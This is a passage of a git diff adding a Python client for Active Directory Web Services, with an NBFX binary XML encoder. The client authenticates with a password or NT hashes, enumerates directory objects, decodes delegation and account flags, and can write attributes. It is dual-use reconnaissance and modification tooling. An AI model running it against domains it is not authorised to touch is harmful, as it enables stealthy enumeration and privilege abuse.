0x40000000 + CANNOT_DELETE = 0x80000000 + + +# https://learn.microsoft.com/en-us/windows/win32/adschema/a-instancetype +class InstanceTypeFlags(IntFlag): + HEAD_OF_NAMING_CONTEXT = 0x00000001 + REPLICA_NOT_INSTANTIATED = 0x00000002 + OBJECT_WRITABLE = 0x00000004 + NAMING_CONTEXT_HELD = 0x00000008 + CONSTRUCTING_NAMING_CONTEXT = 0x00000010 + REMOVING_NAMING_CONTEXT = 0x00000020 + + +# https://learn.microsoft.com/en-us/windows/win32/adschema/a-grouptype +class GroupTypeFlags(IntFlag): + SYSTEM_GROUP = 0x00000001 + GLOBAL_SCOPE = 0x00000002 + DOMAIN_LOCAL_SCOPE = 0x00000004 + UNIVERSAL_SCOPE = 0x00000008 + APP_BASIC_GROUP = 0x00000010 + APP_QUERY_GROUP = 0x00000020 + SECURITY_GROUP = 0x80000000 + + +# https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ +class AccountPropertyFlag(IntFlag): + SCRIPT = 0x0001 + ACCOUNTDISABLE = 0x0002 + HOMEDIR_REQUIRED = 0x0008 + LOCKOUT = 0x0010 + PASSWD_NOTREQD = 0x0020 + PASSWD_CANT_CHANGE = 0x0040 + ENCRYPTED_TEXT_PWD_ALLOWED = 0x0080 + TEMP_DUPLICATE_ACCOUNT = 0x0100 + NORMAL_ACCOUNT = 0x0200 + DISABLED_ACCOUNT = 0x0202 # Not officially documented + ENABLED_PASSWORD_NOT_REQUIRED = 0x0220 # Not officially documented + DISABLED_PASSWORD_NOT_REQUIRED = 0x0222 # Not officially documented + INTERDOMAIN_TRUST_ACCOUNT = 0x0800 + WORKSTATION_TRUST_ACCOUNT = 0x1000 + SERVER_TRUST_ACCOUNT = 0x2000 + DONT_EXPIRE_PASSWORD = 0x10000 + ENABLED_PASSWORD_DOESNT_EXPIRE = 0x10200 # Not officially documented + DISABLED_PASSWORD_DOESNT_EXPIRE = 0x10202 # Not officially documented + DISABLED_PASSWORD_DOESNT_EXPIRE_NOT_REQUIRED = 0x10222 # Not officially documented + MNS_LOGON_ACCOUNT = 0x20000 + SMARTCARD_REQUIRED = 0x40000 + ENABLED_SMARTCARD_REQUIRED = 0x40200 # Not officially documented + DISABLED_SMARTCARD_REQUIRED = 0x40202 # Not officially documented + DISABLED_SMARTCARD_REQUIRED_PASSWORD_NOT_REQUIRED = ( + 0x40222 # Not officially documented + ) + DISABLED_SMARTCARD_REQUIRED_PASSWORD_DOESNT_EXPIRE = ( + 0x50202 # Not officially documented + ) + DISABLED_SMARTCARD_REQUIRED_PASSWORD_DOESNT_EXPIRE_NOT_REQUIRED = ( + 0x50222 # Not officially documented + ) + TRUSTED_FOR_DELEGATION = 0x80000 + DOMAIN_CONTROLLER = 0x82000 + NOT_DELEGATED = 0x100000 + USE_DES_KEY_ONLY = 0x200000 + DONT_REQ_PREAUTH = 0x400000 + PASSWORD_EXPIRED = 0x800000 + TRUSTED_TO_AUTH_FOR_DELEGATION = 0x1000000 + PARTIAL_SECRETS_ACCOUNT = 0x04000000 + + +# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/impacket/dcerpc/v5/samr.py#L176 +class SamAccountType(IntFlag): + SAM_DOMAIN_OBJECT = 0x00000000 + SAM_GROUP_OBJECT = 0x10000000 + SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001 + SAM_ALIAS_OBJECT = 0x20000000 + SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001 + SAM_USER_OBJECT = 0x30000000 + SAM_MACHINE_ACCOUNT = 0x30000001 + SAM_TRUST_ACCOUNT = 0x30000002 + SAM_APP_BASIC_GROUP = 0x40000000 + SAM_APP_QUERY_GROUP = 0x40000001 + + +# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/describeTicket.py#L118 +BUILT_IN_GROUPS = { + "498": "Enterprise Read-Only Domain Controllers", + "512": "Domain Admins", + "513": "Domain Users", + "514": "Domain Guests", + "515": "Domain Computers", + "516": "Domain Controllers", + "517": "Cert Publishers", + "518": "Schema Admins", + "519": "Enterprise Admins", + "520": "Group Policy Creator Owners", + "521": "Read-Only Domain Controllers", + "522": "Cloneable Controllers", + "525": "Protected Users", + "526": "Key Admins", + "527": "Enterprise Key Admins", + "553": "RAS and IAS Servers", + "571": "Allowed RODC Password Replication Group", + "572": "Denied RODC Password Replication Group", +} + +# Universal SIDs +WELL_KNOWN_SIDS = { + "S-1-0": "Null Authority", + "S-1-0-0": "Nobody", + "S-1-1": "World Authority", + "S-1-1-0": "Everyone", + "S-1-2": "Local Authority", + "S-1-2-0": "Local", + "S-1-2-1": "Console Logon", + "S-1-3": "Creator Authority", + "S-1-3-0": "Creator Owner", + "S-1-3-1": "Creator Group", + "S-1-3-2": "Creator Owner Server", + "S-1-3-3": "Creator Group Server", + "S-1-3-4": "Owner Rights", + "S-1-5-80-0": "All Services", + "S-1-4": "Non-unique Authority", + "S-1-5": "NT Authority", + "S-1-5-1": "Dialup", + "S-1-5-2": "Network", + "S-1-5-3": "Batch", + "S-1-5-4": "Interactive", + "S-1-5-6": "Service", + "S-1-5-7": "Anonymous", + "S-1-5-8": "Proxy", + "S-1-5-9": "Enterprise Domain Controllers", + "S-1-5-10": "Principal Self", + "S-1-5-11": "Authenticated Users", + "S-1-5-12": "Restricted Code", + "S-1-5-13": "Terminal Server Users", + "S-1-5-14": "Remote Interactive Logon", + "S-1-5-15": "This Organization", + "S-1-5-17": "This Organization", + "S-1-5-18": "Local System", + "S-1-5-19": "NT Authority", + "S-1-5-20": "NT Authority", + "S-1-5-32-544": "Administrators", + "S-1-5-32-545": "Users", + "S-1-5-32-546": "Guests", + "S-1-5-32-547": "Power Users", + "S-1-5-32-548": "Account Operators", + "S-1-5-32-549": "Server Operators", + "S-1-5-32-550": "Print Operators", + "S-1-5-32-551": "Backup Operators", + "S-1-5-32-552": "Replicators", + "S-1-5-64-10": "NTLM Authentication", + "S-1-5-64-14": "SChannel Authentication", + "S-1-5-64-21": "Digest Authority", + "S-1-5-80": "NT Service", + "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", + "S-1-16-0": "Untrusted Mandatory Level", + "S-1-16-4096": "Low Mandatory Level", + "S-1-16-8192": "Medium Mandatory Level", + "S-1-16-8448": "Medium Plus Mandatory Level", + "S-1-16-12288": "High Mandatory Level", + "S-1-16-16384": "System Mandatory Level", + "S-1-16-20480": "Protected Process Mandatory Level", + "S-1-16-28672": "Secure Process Mandatory Level", + "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access", + "S-1-5-32-555": "BUILTIN\\Remote Desktop Users", + "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders", + "S-1-5-32-556": "BUILTIN\\Network Configuration Operators", + "S-1-5-32-558": "BUILTIN\\Performance Monitor Users", + "S-1-5-32-559": "BUILTIN\\Performance Log Users", + "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group", + "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers", + "S-1-5-32-562": "BUILTIN\\Distributed COM Users", + "S-1-5-32-569": "BUILTIN\\Cryptographic Operators", + "S-1-5-32-573": "BUILTIN\\Event Log Readers", + "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access", + "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers", + "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers", + "S-1-5-32-577": "BUILTIN\\RDS Management Servers", + "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators", + "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators", + "S-1-5-32-580": "BUILTIN\\Remote Management Users", +} + + +class ADWSError(Exception): ... + + +class ADWSAuthType: ... + + +class NTLMAuth(ADWSAuthType): + def __init__(self, password: str | None = None, hashes: str | None = None): + if not (password or hashes): + raise ValueError("NTLM auth requires either a password or hashes.") + + if password and hashes: + raise ValueError("Provide either a password or hashes, not both.") + + if hashes: + self.nt = hashes + else: + self.nt = None + + self.password = password + + +class ADWSConnect: + def __init__( + self, + fqdn: str, + domain: str, + username: str, + auth: NTLMAuth, + resource: str, + ): + """Creates an ADWS client connection to the specified endpoint + useing the specified auth. Allows for making different types of + queries to the ADWS Server. + + The client connects to different endpoints which allow different types + of requests to be made. **See [MS-ADDM]: 2.1 for a full list of endpoints.** This + client only supports endpoints which use windows integrated authentication. + + Args: + fqdn (str): fqdn of the domain controler the adws service is running on + domain (str): the domain + username (str): user to auth as + auth (NTLMAuth): auth mechanism to use + resource (str): the resource dictates what endpoint the client + connects to which in turn dictates what types of requests + it can make + """ + self._fqdn = fqdn + self._domain = domain + self._username = username + self._auth = auth + + self._resource: str = resource + """the connection mode of the client <'Resource', 'ResourceFactory', + 'Enumeration', AccountManagement', 'TopologyManagement'>""" + + self._nmf: ms_nmf.NMFConnection = self._connect(self._fqdn, self._resource) + + def _create_NNS_from_auth(self, sock: socket.socket) -> NNS: + if isinstance(self._auth, NTLMAuth): + return NNS( + socket=sock, + fqdn=self._fqdn, + domain=self._domain, + username=self._username, + password=self._auth.password, + nt=self._auth.nt if self._auth.nt else "", + ) + raise NotImplementedError + + def _connect(self, remoteName: str, resource: str) -> ms_nmf.NMFConnection: + """Connect to the specified ADWS endpoint at the + remoteName + + Args: + remoteName (str): fqdn + resource (str): endpoint to connect to <'Resource', 'ResourceFactory', + 'Enumeration', AccountManagement', 'TopologyManagement'> + """ + + server_address: tuple[str, int] = (remoteName, 9389) + logging.info(f"Connecting to {remoteName} for {self._resource}") + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect(server_address) + + nmf = ms_nmf.NMFConnection( + self._create_NNS_from_auth(sock), + fqdn=remoteName, + ) + + nmf.connect(f"Windows/{resource}") + + return nmf + + def _query_enumeration( + self, remoteName: str, nmf: ms_nmf.NMFConnection, query: str, attributes: list + ) -> str | None: + """Send the query and set up an enumeration context for the results + + Args: + remoteName (str): remote server fqdn, used for soap addressing + nmf (ms_nmf.NMFConnection): the transport to use + query (str): the ldap query to use + attributes (list): ldap attributes to return + + Returns: + str or None: the enumeration context, or None in error + """ + + """Format passed attributes""" + fAttributes: str = "" + for attr in attributes: + fAttributes += ( + "addata:{attr}\n".format( + attr=attr + ) + ) + + query_vars = { + "uuid": str(uuid4()), + "fqdn": remoteName, + "query": query, + "attributes": fAttributes, + "baseobj": ",".join([f"DC={i}" for i in self._domain.split(".")]), + } + + enumeration = LDAP_QUERY_FSTRING.format(**query_vars) + + nmf.send(enumeration) + enumerationResponse = nmf.recv() + + et = self._handle_str_to_xml(enumerationResponse) + if not et: + raise ValueError("was unable to parse xml from the server response") + + enum_ctx = et.find(".//wsen:EnumerationContext", NAMESPACES) + + return enum_ctx.text if enum_ctx is not None else None + + def _pull_results( + self, remoteName: str, nmf: ms_nmf.NMFConnection, enum_ctx: str + ) -> tuple[ElementTree.Element, bool]: + """pull the results of an enumeration ctx from server. + + Returns the results, and if there are no more results, + returns the last result and false. + + Args: + remoteName (str): the fqdn of the server, for soap addressing + nmf (ms_nmf.NMFConnection): the transport to use + enum_ctx (str): the enumeration ctx to pull + + Returns: + Tuple(Element, bool): the result, and more to pull + """ + + pull_vars = { + "uuid": str(uuid4()), + "fqdn": remoteName, + "enum_ctx": enum_ctx, + } + + pull = LDAP_PULL_FSTRING.format(**pull_vars) + nmf.send(pull) + pullResponse = nmf.recv() + + et = self._handle_str_to_xml(pullResponse) + if not et: + raise ValueError("was unable to parse xml from the server response") + + final_pkt = et.find(".//wsen:EndOfSequence", namespaces=NAMESPACES) + if final_pkt is not None: + return (et, False) + + return (et, True) + + def _handle_str_to_xml(self, xmlstr: str) -> ElementTree.Element | None: + """Takes an xml string and returns an Element of the root + node of an xml object. + Also deals with error and faults in the response + + Args: + xmlstr (str): str form of xml data + + Returns: + Element: xml object + + Raises: + ADWSError: Raises if there is a fault in the + soap message return by the server + """ + + if ":Fault>" and ":Reason>" not in xmlstr: + return ElementTree.fromstring(xmlstr) + + def manually_cut_out_fault(xml_str: str) -> str: + """cut out the fault text description using + slices. This is dirty and not certain but + if it cant be parsed with xml parsers, its + all we have. + + Args: + xml_str (str): str of xml data + + Returns: + str: the fault msg + """ + starttag = xml_str.find(":Text") + len(":Text") + endtag = xml_str[starttag:].find(":Text") + return xml_str[starttag : starttag + endtag] + + et: ElementTree.Element | None = None + try: + et = ElementTree.fromstring(xmlstr) + except ElementTree.ParseError: + msg = manually_cut_out_fault(xmlstr) + raise ADWSError(msg) + + base_msg = str() + + fault = et.find(".//soapenv:Fault", namespaces=NAMESPACES) + if not fault: # maybe there isnt actually anything erroring? + return et + + reason = fault.find(".//soapenv:Text", namespaces=NAMESPACES) + base_msg += reason.text if reason is not None else "" # type: ignore + + detail = fault.find(".//soapenv:Detail", namespaces=NAMESPACES) + if detail is not None: + ElementTree.indent(detail) + detail_xmlstr = ( + ElementTree.tostring(detail, encoding="unicode") + if detail is not None + else "" + ) + else: + detail_xmlstr = "" + + raise ADWSError(base_msg + detail_xmlstr) + + def _get_tag_name(self, elem: ElementTree.Element) -> str: + return elem.tag.split("}")[-1] if "}" in elem.tag else elem.tag + + def _format_flags(self, value: int, intflag_class: Type[IntFlag]) -> str: + """ + Formats an integer value into a string of flags based on an IntFlag class. + + Args: + value (int): The integer value to format. + intflag_class (Type[IntFlag]): The IntFlag class to use for flag names. + + Returns: + str: The formatted string representing the flags. + """ + flags = [ + flag.name if flag & int(value) else f"{flag.value:#010x}" + for flag in intflag_class + if flag & int(value) + ] + flags = [flag for flag in flags if flag] + + flag_results = f" flags: {', '.join(flags)}" if flags else "" + return f"{value}{flag_results}" + + def _pretty_print_response( + self, et: ElementTree.Element, print_synthetic_vars: bool = False + ) -> None: + """Pretty print the xml ldap objects in the response. + + Handle translating types from LDAPSyntax to human readable + + Args: + et (ElementTree.Element): response xml element tree + print_synthetic_vars (bool): print synthetic vars, see ([MS-ADDM]: 2.3.3) + """ + + for item in et.findall(".//ad:value/../..", namespaces=NAMESPACES): + synthetic_attributes = [] + print( + ("[+] Object Found: " + self._get_tag_name(item)), + end="\n", + ) + + object_values: dict[str, str] = {} + for part in item.findall(".//ad:value/..", namespaces=NAMESPACES): + if "LdapSyntax" not in part.attrib: + if print_synthetic_vars: + synthetic_attributes.append(part) + continue + + name = self._get_tag_name(part) + syntax = part.attrib["LdapSyntax"] + values = [ + value.text + for value in part.findall(".//ad:value", namespaces=NAMESPACES) + if value is not None and value.text + ] + + parsed: list[str] = [] + if syntax == "SidString": + for value in values: + sid = LDAP_SID(data=b64decode(value)).formatCanonical() + if sid in WELL_KNOWN_SIDS: + sid += f" Well known sid: {WELL_KNOWN_SIDS[sid]}" + parsed.append(sid) + elif syntax == "GeneralizedTimeString": + parsed = [ + GeneralizedTime(value).asDateTime.astimezone().isoformat() + for value in values + ] + + if name in [ + "accountExpires", + "lastLogoff", + "badPasswordTime", + "lastLogon", + "pwdLastSet", + "lastLogonTimestamp", + ]: + for v in values: + if int(v) == 0x0 or int(v) == 0x7FFFFFFFFFFFFFFF: + parsed.append("none/never") + else: + us = int(v) / 10 + parsed.append( + ( + datetime.datetime( + 1601, 1, 1, tzinfo=datetime.timezone.utc + ) + + datetime.timedelta(microseconds=us) + ).isoformat() + ) + elif name in ["objectGUID"]: + parsed = [str(UUID(bytes=b64decode(value))) for value in values] + elif name == "userAccountControl": + parsed = [ + self._format_flags(int(value), AccountPropertyFlag) + for value in values + ] + elif name == "sAMAccountType": + parsed = [ + self._format_flags(int(value), SamAccountType) + for value in values + ] + elif name == "primaryGroupID": + parsed = [] + for value in values: + group = value + if value in BUILT_IN_GROUPS: + group += f" Well known group: {BUILT_IN_GROUPS[value]}" + parsed.append(group) + elif name == "groupType": + parsed = [ + self._format_flags(int(value), GroupTypeFlags) + for value in values + ] + elif name == "instanceType": + parsed = [ + self._format_flags(int(value), InstanceTypeFlags) + for value in values + ] + elif name == "systemFlags": + parsed = [ + self._format_flags(int(value), SystemFlags) for value in values + ] + elif name == "msDS-AllowedToActOnBehalfOfOtherIdentity": + parsed = [] + for value in values: + sd = SR_SECURITY_DESCRIPTOR(data=b64decode(value)) + aces = [ + ace["Ace"]["Sid"].formatCanonical() + for ace in sd["Dacl"].aces + if ace["AceType"] + in ( + ACCESS_ALLOWED_CALLBACK_OBJECT_ACE.ACE_TYPE, + ACCESS_ALLOWED_ACE.ACE_TYPE, + ACCESS_ALLOWED_CALLBACK_ACE.ACE_TYPE, + ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE, + SYSTEM_MANDATORY_LABEL_ACE.ACE_TYPE, + ) + ] + parsed.append(f"{value} DACL ACE SIDs: {' '.join(aces)}") + + object_values[name] = " ".join(parsed if parsed else values) + + format_str = f"{{:>{22}}}: {{:<}}" + for k, v in object_values.items(): + print(format_str.format(k, v)) + print() + + if print_synthetic_vars: + for part in synthetic_attributes: + name = self._get_tag_name(part) + values = [ + value.text + for value in part.findall(".//ad:value", namespaces=NAMESPACES) + if value is not None and value.text + ] + print(f"{name}: {' '.join(values)}") + + def put( + self, + object_ref: str, + operation: str, + attribute: str, + data_type: str, + value: str, + ) -> bool: + """CRUD on attribute + + Args: + client (NMFConnection): connected client + object_ref (str): DN of object to write attribute on + fqdn (str): fqdn of the DC + operation (str): operation to preform on the attribute: <'add', 'delete', 'replace'> [MS-WSTIM]: 3.2.4.2.3.1 + attribute (str): attribute type including the namespace + data_type (str): datatype, <'string', 'base64Base'> [MS-ADDM]: 2.3.4 + value (str): string value for attribute in UTF-8 + + Returns: + bool: error + """ + if self._resource != "Resource": + raise NotImplementedError("Put is only supported on 'put' clients") + + put_vars = { + "object_ref": object_ref, + "uuid": str(uuid4()), + "fqdn": self._fqdn, + "operation": operation, + "attribute": attribute, + "data_type": data_type, + "value": value, + } + + put_msg = LDAP_PUT_FSTRING.format(**put_vars) + + self._nmf.send(put_msg) + resp_str = self._nmf.recv() + et = self._handle_str_to_xml(resp_str) + if not et: + raise ValueError("was unable to parse xml from the server response") + + body = et.find(".//soapenv:Body", namespaces=NAMESPACES) + + return ( + body is None + or len(body) == 0 + and (body.text is None or body.text.strip() == "") + ) + + def pull( + self, + query: str, + attributes: list, + print_incrementally: bool = False, + ) -> ElementTree.Element: + """Makes an LDAP query using ADWS to the specified server + + Args: + fqdn (str): the fqdn of the domain controller + query (str): the ldap query as a string + print_incrementally (bool): print the results as they come in + + Returns: + ElementTree.Element: The soap response as xml + """ + if self._resource != "Enumeration": + raise NotImplementedError("Pull is only supported on 'pull' clients") + + enum_ctx = self._query_enumeration( + remoteName=self._fqdn, + nmf=self._nmf, + query=query, + attributes=attributes, + ) + if enum_ctx is None: + logging.error( + "Server did not return an enumeration context in response to making a query" + ) + raise ValueError("unable to get enumeration context") + + ElementTree.register_namespace("wsen", NAMESPACES["wsen"]) + results: ElementTree.Element = ElementTree.Element("wsen:Items") + more_results = True + while more_results: + et, more_results = self._pull_results( + remoteName=self._fqdn, nmf=self._nmf, enum_ctx=enum_ctx + ) + if len(et.findall(".//wsen:Items", namespaces=NAMESPACES)) == 0: + logging.critical("No objects returned") + else: + for item in et.findall(".//wsen:Items", namespaces=NAMESPACES): + results.append(item) + + if print_incrementally: + self._pretty_print_response(et) + + return results + + @classmethod + def pull_client(cls, ip: str, domain: str, username: str, auth: NTLMAuth) -> Self: + return cls(ip, domain, username, auth, "Enumeration") + + @classmethod + def put_client(cls, ip: str, domain: str, username: str, auth: NTLMAuth) -> Self: + return cls(ip, domain, username, auth, "Resource") + + @classmethod + def create_client( + cls, ip: str, domain: str, username: str, auth: NTLMAuth + ) -> Self: + # return cls(ip, domain, username, auth, "ResourceFactory") + raise NotImplementedError() + + @classmethod + def accounts_cap_client( + cls, ip: str, domain: str, username: str, auth: NTLMAuth + ) -> Self: + # return cls(ip, domain, username, auth, "AccountManagement") + raise NotImplementedError() + + @classmethod + def topology_cap_client( + cls, ip: str, domain: str, username: str, auth: NTLMAuth + ) -> Self: + # return cls(ip, domain, username, auth, "TopologyManagement") + raise NotImplementedError() diff --git a/src/encoder/__init__.py b/src/encoder/__init__.py new file mode 100644 index 0000000..add181b --- /dev/null +++ b/src/encoder/__init__.py @@ -0,0 +1,4 @@ +from .xml_parser import XMLParser +from .encoder import Encoder + +__all__ = ["XMLParser", "Encoder"] diff --git a/src/encoder/encoder.py b/src/encoder/encoder.py new file mode 100644 index 0000000..5b73627 --- /dev/null +++ b/src/encoder/encoder.py @@ -0,0 +1,123 @@ +from io import BytesIO + +from .records import Net7BitInteger, record, dump_records, print_records +from .xml_parser import XMLParser + + +class Encoder: + """Preforms encoding and decoding on xml data. + + Compliant with [MC-NBFX] and known extentions. + + Supports known encoding types: + + [MC-NBFS] + [MC-NBFSE] + """ + + def __init__(self, encoding: int = 0x8): + self._encoding = encoding + + """ + # TODO: + Notes: + Need to deal with persistant nbfse talk. + + Since we are the sender, we dont need + to track a dict from the server I think. + + The exception to this is mex responses. The server + sends dictionaries with mex responses + + We should prefer to not use a dict if possible. + + """ + + def _extract_dict_from_xml(self) -> dict[int, str]: + """TODO: needs to be populated""" + + return {} + + def _inband_dict_to_bin(self, inbandDict: dict[int, str]) -> bytes: + """Convert dict into string table and seralize""" + + string_table = bytes() + + for _, v in inbandDict.items(): + size = Net7BitInteger.encode7bit(len(v.encode("utf-8"))) + string_table += size + v.encode("utf-8") + + size = Net7BitInteger.encode7bit(len(string_table)) + + return size + string_table + + def _extract_stringtable_inband(self, data) -> dict[int, str]: + """Extract strings from inband dict and place them into + the string table. + """ + + string_table = {} + idx = 1 + while data: + size, len_len = Net7BitInteger.decode7bit(data) + word = data[len_len : len_len + size] + data = data[len_len + size :] + string_table[idx] = word + idx += 2 + + return string_table + + # ========== Interface ============= + + def encode(self, xml: str) -> bytes: + """Serialize xml data with appropreate + encoding type into bytes. + + Args: + xml (str): xml data in string form + + Returns: + (bytes): encoded xml data + """ + r = XMLParser.parse(xml) + + base_data = dump_records(r) + + if self._encoding == 0x07: # NBFS + return base_data + if self._encoding == 0x08: # NBFSE + inbandDict = self._inband_dict_to_bin(self._extract_dict_from_xml()) + return inbandDict + base_data + + def decode(self, data: bytes) -> str: + """Deseralize and decode xml bytes into + string form + + Args: + data (bytes): seralize and encoded data + + Returns: + (str): xml in string form + """ + + if self._encoding == 0x07: + data = data + + if self._encoding == 0x08: + size3, len_len3 = Net7BitInteger.decode7bit(data) + + # if there is something in the inband dict + if size3 != 0: + # cut off just the dict part and try to extract it + string_table = self._extract_stringtable_inband( + data[len_len3 : len_len3 + size3] + ) + print(string_table) + + # then index data to be the start of the actual xml blob + data = data[len_len3 + size3 :] + + r = record.parse(BytesIO(data)) # begin parsing from first record + xml = print_records(r) + + return xml diff --git a/src/encoder/records/__init__.py b/src/encoder/records/__init__.py new file mode 100644 index 0000000..8aebf0e --- /dev/null +++ b/src/encoder/records/__init__.py @@ -0,0 +1,5 @@ +from .constants import * +from .record import record +from .utils import Net7BitInteger, dump_records, print_records + +__all__ = ["record", "Net7BitInteger", "dump_records", "print_records"] diff --git a/src/encoder/records/attributes.py b/src/encoder/records/attributes.py new file mode 100644 index 0000000..6b11d65 --- /dev/null +++ b/src/encoder/records/attributes.py @@ -0,0 +1,307 @@ +import struct +from typing import Self + +from .datatypes import MultiByteInt31, Utf8String +from .constants import DICTIONARY +from .record import record, Attribute + + +class ShortAttributeRecord(Attribute): + type = 0x04 + + def __init__(self, name: str, value: record): + self.name = name + self.value = value + + def to_bytes(self) -> bytes: + """ + >>> ShortAttributeRecord('test', TrueTextRecord()).to_bytes() + '\\x04\\x04test\\x86' + """ + bytes = super(ShortAttributeRecord, self).to_bytes() + bytes += Utf8String(self.name).to_bytes() + bytes += self.value.to_bytes() + + return bytes + + def __str__(self): + return '%s="%s"' % (self.name, str(self.value)) + + @classmethod + def parse(cls, fp) -> Self: + name: str = Utf8String.parse(fp).value + type: int = struct.unpack(" bytes: + """ + >>> AttributeRecord('x', 'test', TrueTextRecord()).to_bytes() + '\\x05\\x01x\\x04test\\x86' + """ + bytes = super(AttributeRecord, self).to_bytes() + bytes += Utf8String(self.prefix).to_bytes() + bytes += Utf8String(self.name).to_bytes() + bytes += self.value.to_bytes() + + return bytes + + def __str__(self): + return '%s:%s="%s"' % (self.prefix, self.name, str(self.value)) + + @classmethod + def parse(cls, fp) -> Self: + prefix: str = Utf8String.parse(fp).value + name: str = Utf8String.parse(fp).value + type: int = struct.unpack(" bytes: + """ + ''>>> ShortDictionaryAttributeRecord(3, TrueTextRecord()).to_bytes() + '\\x06\\x03\\x86' + """ + bytes = super(ShortDictionaryAttributeRecord, self).to_bytes() + bytes += MultiByteInt31(self.index).to_bytes() + bytes += self.value.to_bytes() + + return bytes + + def __str__(self): + return '%s="%s"' % (DICTIONARY[self.index], str(self.value)) + + @classmethod + def parse(cls, fp) -> Self: + index: int = MultiByteInt31.parse(fp).value + type: int = struct.unpack(" bytes: + """ + >>> DictionaryAttributeRecord('x', 2, TrueTextRecord()).to_bytes() + '\\x07\\x01x\\x02\\x86' + """ + bytes = super(DictionaryAttributeRecord, self).to_bytes() + bytes += Utf8String(self.prefix).to_bytes() + bytes += MultiByteInt31(self.index).to_bytes() + bytes += self.value.to_bytes() + + return bytes + + def __str__(self): + return '%s:%s="%s"' % (self.prefix, DICTIONARY[self.index], str(self.value)) + + @classmethod + def parse(cls, fp) -> Self: + prefix: str = Utf8String.parse(fp).value + index: int = MultiByteInt31.parse(fp).value + type: int = struct.unpack(" bytes: + """ + >>> ShortDictionaryXmlnsAttributeRecord( 6).to_bytes() + '\\n\\x06' + """ + bytes = struct.pack(" Self: + index: int = MultiByteInt31.parse(fp).value + return cls(index) + + +class DictionaryXmlnsAttributeRecord(Attribute): + type = 0x0B + + def __init__(self, prefix: str, index: int): + self.prefix = prefix + self.index = index + + def __str__(self): + return 'xmlns:%s="%s"' % (self.prefix, DICTIONARY[self.index]) + + def to_bytes(self) -> bytes: + """ + >>> DictionaryXmlnsAttributeRecord('a', 6).to_bytes() + '\\x0b\\x01\x61\\x06' + """ + bytes = struct.pack(" Self: + prefix: str = Utf8String.parse(fp).value + index: int = MultiByteInt31.parse(fp).value + return cls(prefix, index) + + +class ShortXmlnsAttributeRecord(Attribute): + type = 0x08 + + def __init__(self, value: str, *args, **kwargs): + super(ShortXmlnsAttributeRecord, self).__init__(*args, **kwargs) + self.value = value + + def to_bytes(self) -> bytes: + bytes = struct.pack(" Self: + value: str = Utf8String.parse(fp).value + return cls(value) + + +class XmlnsAttributeRecord(Attribute): + type = 0x09 + + def __init__(self, name: str, value: str, *args, **kwargs): + super(XmlnsAttributeRecord, self).__init__(*args, **kwargs) + self.name = name + self.value = value + + def to_bytes(self) -> bytes: + bytes = struct.pack(" Self: + name: str = Utf8String.parse(fp).value + value: str = Utf8String.parse(fp).value + return cls(name, value) + + +class PrefixAttributeRecord(AttributeRecord): + def __init__(self, name: str, value: record): + super(PrefixAttributeRecord, self).__init__(self.char, name, value) + + def to_bytes(self) -> bytes: + string = Utf8String(self.name) + return struct.pack(" Self: + name: str = Utf8String.parse(fp).value + type: int = struct.unpack(" bytes: + idx = MultiByteInt31(self.index) + return struct.pack(" Self: + index: int = MultiByteInt31.parse(fp).value + type: int = struct.unpack(" bytes: + MAXMBI = 0x7F + + if self.value < 0: + raise ValueError("Signed numbers are not supported") + + if self.value <= MAXMBI: + return bytes([self.value]) + + result = [] + for _ in range(5): + byte = self.value & MAXMBI + self.value >>= 7 + if self.value != 0: + byte |= MAXMBI + 1 + result.append(byte) + + if self.value == 0: + break + + return bytes(result) + + def __str__(self): + return str(self.value) + + @classmethod + def parse(cls, fp) -> Self: + # TODO: better error message needed when bytes value too large + MAXMBI = 0x7F + + value = 0 + for i in range(5): + v = struct.unpack(" bytes: + data = self.value.encode("utf-8") + strlen = len(data) + return MultiByteInt31(strlen).to_bytes() + data + + def __str__(self): + return self.value + + def __unicode__(self): + return self.value + + @classmethod + def parse(cls, fp) -> Self: + lngth = struct.unpack(" bytes: + bytes = struct.pack(" 0: + value = value[: -self.scale] + "." + value[-self.scale :] + + if self.sign: + value = "-%s" % value + return value + + @classmethod + def parse(cls, fp) -> Self: + fp.read(2) + scale = struct.unpack(" bytes: + string = Utf8String(self.name) + + bytes = super(ShortElementRecord, self).to_bytes() + string.to_bytes() + + for attr in self.attributes: + bytes += attr.to_bytes() + return bytes + + def __str__(self): + attributes_str = " ".join([str(a) for a in self.attributes]) + return f"<{self.name}{f' {attributes_str}' if attributes_str else ''}>" + + @classmethod + def parse(cls, fp): + name = Utf8String.parse(fp).value + return cls(name) + + +class ElementRecord(ShortElementRecord): + type = 0x41 + + def __init__(self, prefix: str, name: str, *args, **kwargs): + super(ElementRecord, self).__init__(name) + self.prefix = prefix + + def to_bytes(self) -> bytes: + pref = Utf8String(self.prefix) + data = super(ElementRecord, self).to_bytes() + type = data[0] + return type.to_bytes() + pref.to_bytes() + data[1:] + + def __str__(self): + attributes_str = " ".join([str(a) for a in self.attributes]) + return f"<{self.prefix}:{self.name}{f' {attributes_str}' if attributes_str else ''}>" + + @classmethod + def parse(cls, fp): + prefix = Utf8String.parse(fp).value + name = Utf8String.parse(fp).value + return cls(prefix, name) + + +class ShortDictionaryElementRecord(Element): + type = 0x42 + + def __init__(self, index: int, *args, **kwargs): + self.childs = [] + self.index = index + self.attributes = [] + self.name = DICTIONARY[self.index] + + def __str__(self): + attributes_str = " ".join([str(a) for a in self.attributes]) + return f"<{self.name} {f' {attributes_str}' if attributes_str else ''}>" + + def to_bytes(self) -> bytes: + string = MultiByteInt31(self.index) + + bytes = super(ShortDictionaryElementRecord, self).to_bytes() + string.to_bytes() + + for attr in self.attributes: + bytes += attr.to_bytes() + return bytes + + 